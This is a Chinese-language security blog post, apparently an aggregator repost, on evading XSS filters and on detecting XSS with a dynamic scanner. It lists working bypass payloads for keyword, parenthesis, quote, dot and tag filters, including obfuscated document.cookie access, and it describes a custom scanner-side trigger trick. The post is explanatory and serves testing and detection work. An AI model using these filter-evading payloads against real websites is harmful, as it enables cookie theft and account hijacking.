XSS绕过与动态扫描
Posted 安全小黄鸭
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS绕过与动态扫描相关的知识,希望对你有一定的参考价值。
翻翻以前的笔记,看到很多绕过XSS过滤相关的内容。又想起前段时间给XSS扫描程序加的 bypass Payload。还算得上是巧(feng)妙(sao),简单分享一下~
0x00 常规绕过套路
javascript 关键字过滤、
+
过滤
# document.cookie
document['coo'['CONCAT'.toLowerCase()]('kie')]
括号过滤
# alert(1)
alert`1`
;
过滤
<img src=1 onload="test(),alert(1)">
引号过滤
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))//
.
过滤
with(location)alert(hash)
html标签过滤、属性名过滤
<video width="0" height="0" oncanplay=alert`0`>
<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>
<details ontoggle=alert(1) open>
0x01 动态扫描
之前的文章都写过,检测逻辑可以参考: XSS dynamic detection using PhantomJs: https://paper.seebug.org/93/
动态分析部分参考: 浅谈动态爬虫与去重: https://www.anquanke.com/post/id/85298
0x02 扫描中的bypass
为了将 waf bypass 的工作落实到 XSS 扫描中,我加了这样一条规则:
# 正常 payload
1'"><img src=1 onerror=alert(1)>
# bypass payload
1'"><b bn=bfx(1)>
在正常的浏览器中, <b>
标签的 bn
事件无法触发, bfx
函数也不存在。
但是,在扫描 xss 的时候,是在我们自己的解析器里完成的!!在我的地盘就得听我的!!
function bfx(code):
if code == 1:
return "XSS Found!"
function do_trigger():
for element in document.all:
for attribute_name, attribute_value in element.attributes:
if attribute_name == "bn":
eval(attribute_value)
伪代码如上。先插入脚本,自定义某个函数,如果函数执行认为XSS触发成功,通知主线程。再遍历页面中所有的节点,触发所有的 bn
事件。
如果心情好的话,还可以把括号给处理掉,比如利用 ES6 里的 Proxy 对象:
let student = {name:"zhangsan"}
const handler = {
get:(obj, prop) => {
console.log("XSS found!")
return obj[prop]
}
}
let foo = new Proxy(student, handler)
对应的 payload 为:
1'"><b bn=foo.name>
但这个骚操作的前提是:你的解析器支持 ES6。(给 PhantomJS 点一百首《凉凉》)
参考资料
XSS Bypass Cookbook https://xianzhi.aliyun.com/forum/read/536.html
以上是关于XSS绕过与动态扫描的主要内容,如果未能解决你的问题,请参考以下文章
burp插件大全 漏洞扫描 waf绕过 sql XSS 命令注入 fuzzer
(2020上半年第18天第19天第20天合集(上传-实例测试上传-WAF绕过XSS跨站-原理分析)之演示③xss跨站实战演示)小迪网络安全笔记